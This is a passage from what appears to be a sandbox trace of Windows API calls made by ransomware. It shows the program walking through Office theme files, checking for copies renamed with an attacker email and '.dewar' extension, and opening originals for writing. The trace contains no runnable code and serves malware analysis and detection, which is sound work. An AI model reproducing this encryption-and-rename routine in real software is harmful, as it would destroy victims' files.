0x200 [0239.760] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=33009) returned 1 [0239.760] CloseHandle (hObject=0x200) returned 1 [0239.760] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png")) returned 0x20 [0239.760] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png")) returned 0x20 [0239.761] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0239.761] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0239.761] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0239.762] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=55942) returned 1 [0239.762] CloseHandle (hObject=0x200) returned 1 [0239.762] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.elm")) returned 0x20 [0239.763] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.elm")) returned 0x20 [0239.763] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.elm.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0239.763] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0239.764] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0240.013] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=549) returned 1 [0240.013] CloseHandle (hObject=0x1e0) returned 1 [0240.013] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.inf")) returned 0x20 [0240.013] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.inf")) returned 0x20 [0240.013] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.inf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0240.013] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0240.014] SetEvent (hEvent=0x118) returned 1 [0240.019] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0240.308] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=501) returned 1 [0240.309] CloseHandle (hObject=0x200) returned 1 [0240.309] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.inf")) returned 0x20 [0240.309] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.inf")) returned 0x20 [0240.309] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.inf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0240.309] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0240.310] SetEvent (hEvent=0x118) returned 1 [0240.312] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0240.760] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=569) returned 1 [0240.760] CloseHandle (hObject=0x204) returned 1 [0240.761] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.inf")) returned 0x20 [0240.761] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.inf")) returned 0x20 [0240.761] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.inf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0240.761] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0240.762] SetEvent (hEvent=0x118) returned 1 [0240.762] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0241.030] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=549) returned 1 [0241.030] CloseHandle (hObject=0x204) returned 1 [0241.030] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.inf")) returned 0x20 [0241.030] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.inf")) returned 0x20 [0241.031] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.inf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0241.031] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.031] SetEvent (hEvent=0x118) returned 1 [0241.033] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0241.148] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=44850) returned 1 [0241.148] CloseHandle (hObject=0xe0) returned 1 [0241.148] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png")) returned 0x20 [0241.148] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png")) returned 0x20 [0241.148] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0241.148] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.149] SetEvent (hEvent=0x118) returned 1 [0241.151] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0241.414] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=526) returned 1 [0241.414] CloseHandle (hObject=0x1e0) returned 1 [0241.414] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.inf")) returned 0x20 [0241.414] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.inf")) returned 0x20 [0241.414] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.inf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0241.415] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.415] SetEvent (hEvent=0x118) returned 1 [0241.417] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0241.597] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=587) returned 1 [0241.597] CloseHandle (hObject=0x1ec) returned 1 [0241.597] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.inf")) returned 0x20 [0241.597] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.inf")) returned 0x20 [0241.598] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.inf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0241.598] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.600] SetEvent (hEvent=0x118) returned 1 [0241.602] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0241.857] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=48039) returned 1 [0241.857] CloseHandle (hObject=0x200) returned 1 [0241.857] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.elm")) returned 0x20 [0241.858] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.elm")) returned 0x20 [0241.858] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.elm.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0241.858] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.858] SetEvent (hEvent=0x118) returned 1 [0241.860] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0242.035] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=569) returned 1 [0242.035] CloseHandle (hObject=0x1f0) returned 1 [0242.035] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.inf")) returned 0x20 [0242.035] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.inf")) returned 0x20 [0242.035] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.inf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0242.036] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.038] SetEvent (hEvent=0x118) returned 1 [0242.040] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0242.206] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=456) returned 1 [0242.207] CloseHandle (hObject=0x1ec) returned 1 [0242.207] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.inf")) returned 0x20 [0242.207] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.inf")) returned 0x20 [0242.207] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.inf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0242.207] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.208] SetEvent (hEvent=0x118) returned 1 [0242.210] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0242.389] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=82237) returned 1 [0242.390] CloseHandle (hObject=0x200) returned 1 [0242.390] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.elm")) returned 0x20 [0242.390] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.elm")) returned 0x20 [0242.390] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.elm.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0242.390] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.390] SetEvent (hEvent=0x118) returned 1 [0242.391] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0242.391] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=444) returned 1 [0242.392] CloseHandle (hObject=0x200) returned 1 [0242.392] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.inf")) returned 0x20 [0242.392] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.inf")) returned 0x20 [0242.392] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.inf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0242.392] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.393] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0242.394] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=29305) returned 1 [0242.394] CloseHandle (hObject=0x200) returned 1 [0242.394] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png")) returned 0x20 [0242.394] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png")) returned 0x20 [0242.395] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0242.395] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.396] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0242.399] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=1009) returned 1 [0242.399] CloseHandle (hObject=0x200) returned 1 [0242.399] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft 